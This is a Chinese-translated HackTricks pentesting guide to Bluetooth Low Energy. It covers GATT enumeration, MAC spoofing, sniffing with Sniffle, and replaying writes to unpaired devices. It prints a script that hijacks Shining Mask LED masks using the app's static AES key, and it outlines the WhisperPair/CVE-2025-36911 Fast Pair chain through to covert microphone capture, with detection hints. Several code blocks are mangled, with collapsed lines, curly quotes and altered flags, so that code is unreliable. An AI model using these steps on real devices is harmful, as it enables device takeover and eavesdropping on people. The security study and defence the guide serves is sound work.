Pentesting BLE - Bluetooth Low Energy

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Introduction

自 Bluetooth 4.0 规范以来,BLE 仅使用 40 个信道,覆盖 2400 到 2483.5 MHz 的频段。相比之下,传统蓝牙在相同频段使用 79 个信道。

BLE 设备通过发送 advertising packetsbeacons)进行通信,这些数据包向附近的设备广播该 BLE 设备的存在。这些 beacons 有时也会 发送数据

监听设备(也称为中心设备)可以对某个 advertising packet 发送特定的 SCAN request 以响应该广播。对该扫描的 response 使用与 advertising 包相同的结构,并包含初始 advertising 请求中放不下的额外信息,例如完整的设备名称。

前导字节用于同步频率,而四字节的 access address 是一个 connection identifier,用于多设备在相同信道上尝试建立连接时区分连接。接下来,Protocol Data Unit(PDU)包含 advertising data。PDU 有多种类型;最常用的是 ADV_NONCONN_IND 和 ADV_IND。如果设备 不接受连接 且只在 advertising 包中传输数据,则使用 ADV_NONCONN_IND PDU 类型。如果设备 允许连接,则使用 ADV_IND,并在 connection 建立后停止发送 advertising 包。

GATT

Generic Attribute ProfileGATT)定义了设备应如何格式化和传输数据。分析 BLE 设备的攻击面时,通常会把注意力集中在 GATT(或 GATTs)上,因为它决定了设备功能如何被触发,以及数据如何被存储、分组和修改。GATT 以表格形式列出设备的 characteristics、descriptors 和 services,数值为 16 位或 32 位。一个 characteristic 是在中心设备与外设之间 发送数据 值。这些 characteristics 可以有提供额外信息的 descriptors。如果某些 characteristic 与执行特定操作相关,它们通常会被 分组services 中。

Enumeration

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool 允许 建立 与 另一个设备的 连接,列出该设备的 特征,并读取和写入其属性.
GATTTool 可以使用 -I 选项启动交互式 shell:

GATTTool 交互式用法和示例 ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing 和主动控制未配对 BLE 设备

许多低成本 BLE 外围设备不强制执行 pairing/bonding。没有 bonding,Link Layer encryption 永远不会启用,因此 ATT/GATT 流量以明文传输。一个 off-path sniffer 可以跟踪连接,解码 GATT 操作以获取 characteristic handles 和 values,然后任何附近的主机就可以连接并重放这些写操作来控制设备。

Sniffing with Sniffle (CC26x2/CC1352)

硬件:一块 Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352),刷入 NCC Group 的 Sniffle 固件。

在 Linux 上安装 Sniffle 及其 Wireshark extcap:

安装 Sniffle extcap (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

给 Sonoff 刷入 Sniffle 固件(确保你的串口设备匹配,例如 /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

在 Wireshark 中通过 Sniffle extcap 捕获,并通过过滤快速定位到更改状态的写操作:

_ws.col.info contains "Sent Write Command"

这突出显示来自客户端的 ATT Write Commands;handle 和 value 往往直接映射到设备操作(例如,write 0x01 到 buzzer/alert characteristic,write 0x00 停止)。

Sniffle CLI 快速示例:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin 也能使用。在小型/便宜的 Nordic dongles 上,你通常会覆盖 USB bootloader 以加载 sniffer 固件,因此你要么保留一个专用的 sniffer dongle,要么需要 J-Link/JTAG 来稍后恢复 bootloader。

通过 GATT 的主动控制

一旦你从嗅探到的流量中识别出一个可写的 characteristic handle 和对应的 value,就以任意 central 身份连接并发出相同的写操作:

  • 使用 Nordic nRF Connect for Desktop (BLE app):

  • 选择 nRF52/nRF52840 dongle,扫描并连接到目标。

  • 浏览 GATT database,定位目标 characteristic(通常有友好名称,例如 Alert Level)。

  • 使用嗅探到的字节执行 Write(例如 01 触发,00 停止)。

  • 在 Windows 上使用 Nordic dongle 和 Python + blatann 自动化:

Python blatann write example (Windows + Nordic dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### 案例研究:劫持 BLE LED 面罩 (Shining Mask family)

由 “Shining Mask” app 控制的廉价白牌 BLE LED 面罩接受来自任意附近 central 的写控制,无需配对/绑定。该 app 使用 GATT 与一个 command characteristic 和一个 data characteristic 通信;命令使用硬编码在 app 中的静态密钥通过 AES‑ECB 加密,而大块图像数据则未加密。

这些设备的关键 UUID:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

未认证的 GATT 写入
- 无需配对/绑定。任何主机都能连接并写入 command UUID 来更改亮度、选择图像、启动动画等。
- 观察到的常见操作:LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

静态密钥 AES 命令帧结构
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- 已知静态密钥 (hex): 32672f7974ad43451d9c6c894a0e8764

用于加密并发送命令的 Python 辅助脚本(示例:设置最大亮度):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

镜像上传流程

  • 在经过加密的 DATS 握手之后,原始块以未加密形式写入数据特征 …960a.
  • 包格式: [len][seq][payload]. 经验上每包约 ~100 字节的 payload 可以可靠工作.
最小化镜像上传伪代码 ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)

- **发现:** 扫描 BLE 广播以查找 **service UUID 0xFE2C**(Google Fast Pair)。处于配对模式的设备通常会暴露配对徽章;即使不在配对模式,Fast Pair 服务也可能响应 GATT。
- **非侵入性探测(签名强制检查):**
1. GATT **connect** 到 Fast Pair 服务并 **read the Model ID**。
2. **Write a Key-Based Pairing (KBP) value without a signature**。如果外围设备接受未签名的 KBP 写入,则易受 signature-bypass (WhisperPair/CVE-2025-36911) 攻击。被拒绝表示已打补丁;如果设备已配对,失败结果可能不确定。
- **BLE → BR/EDR pivot:** 发送 **KBP Request** 并解析 **encrypted response** 以恢复目标的 **BR/EDR address**。使用经典的绑定调用(例如 Android **`createBond(<BR/EDR address>)`**)完成未授权配对。若支持,写入 **Account Key** 可将关联持久化。
- **配对后麦克风滥用:** 配对后,打开 **HFP** 并启动 **SCO audio**,以获取实时麦克风流用于监听/录音(例如保存为 M4A)。该链条能将对未签名 KBP 的接受转化为无需用户同意的远程音频捕获。
- **狩猎/检测:** 查找 Fast Pair 的 GATT 流量,紧接着出现经典的 **bonding attempts to the BR/EDR address returned in KBP**,以及缺少签名的 KBP 写入。对 KBP 强制签名验证并提示用户确认配对可以中断该链条。

## 运行注意事项

- 在 Linux 上优先使用 Sonoff+Sniffle,以获得稳健的信道跳变和连接跟随。保持一台备用的 Nordic sniffer 作为备份。
- 在未配对/绑定的情况下,任何附近的攻击者都可以观察写入并重放/伪造写入到未经认证的可写特征。

## 参考资料

- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> 学习和实践 AWS 黑客技术:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
>
> </details>